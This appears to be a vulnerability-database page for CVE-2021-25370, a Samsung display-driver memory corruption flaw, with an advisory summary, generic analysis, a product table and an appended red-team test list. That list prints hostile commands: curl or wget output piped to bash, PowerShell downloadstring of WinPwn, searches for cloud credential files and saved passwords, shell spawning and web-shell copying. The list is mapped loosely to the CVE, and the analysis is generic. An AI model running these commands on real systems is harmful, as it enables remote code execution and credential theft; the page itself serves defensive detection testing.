CVE-2021-25370
Overview
This vulnerability is a memory corruption flaw caused by incorrect handling of file descriptors within the display processing unit (dpu) driver on Samsung Mobile Devices. The root cause lies in improper management of resource cleanup or validation in the dpu driver's code prior to the SMR Mar-2021 Release 1. The affected component is the kernel-level dpu driver responsible for display processing tasks.
Vulnerability Description
An incorrect implementation handling file descriptor in dpu driver prior to SMR Mar-2021 Release 1 results in memory corruption leading to kernel panic.
Impact
An attacker with elevated privileges on the device can exploit this vulnerability to cause a kernel panic, resulting in denial of service through system crashes. The prerequisite is having high-level access to interact with kernel driver interfaces. This can disrupt device availability and potentially affect dependent processes or services, leading to operational interruptions on affected Samsung Mobile Devices.
Solution
Samsung has addressed this issue in the SMR Mar-2021 Release 1 firmware update for Samsung Mobile Devices. Administrators should apply the security update available via Samsung's official security update portal at https://security.samsungmobile.com/securityUpdate.smsb. Detailed patch instructions and advisory information are provided on Samsung's security website to ensure proper remediation of the dpu driver vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the device driver related to file descriptor handling presents a significant risk due to its potential for memory corruption, which can lead to a kernel panic. This issue arises from an incorrect implementation in the driver, which fails to properly manage file descriptors. When a file descriptor is mishandled, it can lead to unintended access to memory regions, resulting in corruption of kernel memory. Such corruption can disrupt the normal operation of the operating system, potentially causing a complete system crash or instability. The severity of this vulnerability is underscored by its ability to affect the core functionality of the operating system, making it a critical concern for system administrators and developers alike.
Exploitation of this vulnerability can occur through various attack vectors, particularly in environments where the affected driver is utilized. An attacker could leverage this flaw by crafting specific input or commands that manipulate the file descriptor handling, leading to memory corruption. For instance, if an attacker has access to the system, they could execute a series of commands that trigger the flawed code path, ultimately resulting in a kernel panic. Additionally, this vulnerability could be exploited remotely if the driver is part of a networked service, allowing an attacker to cause denial-of-service conditions without physical access to the machine. The ability to induce a kernel panic not only disrupts services but can also be a precursor to more sophisticated attacks, such as privilege escalation or data exfiltration.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely on the affected driver for critical operations. A kernel panic can lead to significant downtime, affecting business continuity and potentially resulting in financial losses. Furthermore, the instability introduced by this vulnerability can compromise the integrity of data and applications running on the affected systems. For businesses that operate in regulated industries, such as finance or healthcare, the repercussions could extend beyond immediate operational impacts to include regulatory penalties and damage to reputation. The risk is compounded in environments where uptime is crucial, as repeated incidents could erode customer trust and lead to long-term financial consequences.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating and patching the affected driver is essential to ensure that the incorrect implementation is corrected. System administrators should also monitor system logs for unusual activity that may indicate attempts to exploit the vulnerability. Intrusion detection systems can be configured to alert on patterns of behavior that align with exploitation attempts. Additionally, employing robust access controls can limit the ability of unauthorized users to interact with the driver, reducing the risk of exploitation. Organizations should also consider conducting regular security assessments and penetration testing to identify and address vulnerabilities proactively.
In conclusion, the vulnerability related to improper file descriptor handling in the driver poses a significant threat to system stability and security. The potential for memory corruption leading to kernel panic can have severe implications for business operations, making it imperative for organizations to take proactive measures to detect and mitigate the risks. By staying vigilant and implementing comprehensive security strategies, businesses can protect themselves against the exploitation of this and similar vulnerabilities, ensuring the integrity and availability of their systems.
CVE-2021-25370 has been newly incorporated into the CISA Known Exploited Vulnerabilities (KEV) catalog as of November 8, 2022, with a mandated remediation deadline set for November 29, 2022. This formal recognition elevates the vulnerability’s profile within the cybersecurity community and signals increased scrutiny from federal agencies. Concurrently, the CVSS score has been updated from 0.0 to 6.1, reflecting a reassessment of its exploitability and impact potential. Although no active exploitation or ransomware linkage has been detected in our telemetry, the modest rise in the Exploit Prediction Scoring System (EPSS) score to 0.0049 indicates a slight uptick in the likelihood of exploitation attempts. For defenders, these developments underscore a growing imperative to prioritize patching and monitoring efforts for affected Samsung mobile devices, as the vulnerability’s capacity to induce kernel panic through memory corruption could disrupt device availability and stability. While the threat landscape remains stable without evidence of widespread exploitation, the inclusion in the KEV catalog and score adjustments collectively heighten the risk level from low to medium, warranting increased vigilance in asset management and incident detection strategies.
Affected Products (50)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-apr-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-aug-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-dec-2019-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-dec-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-feb-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-feb-2021-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-jan-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-jan-2021-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-jul-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-jun-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-mar-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-may-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-nov-2019-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-nov-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-oct-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-sep-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 11.0 |
cpe:2.3:o:samsung:android:11.0:smr-dec-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 11.0 |
cpe:2.3:o:samsung:android:11.0:smr-feb-2021-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 11.0 |
cpe:2.3:o:samsung:android:11.0:smr-jan-2021-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 8.0 |
cpe:2.3:o:samsung:android:8.0:-:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-25370 |
| security.samsungmobile.com |
GitHub CVE
x_refsource_CONFIRM
|
https://security.samsungmobile.com/securityUpdate.smsb |
| security.samsungmobile.com |
GitHub CVE
x_refsource_MISC
|
https://security.samsungmobile.com |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-25370 |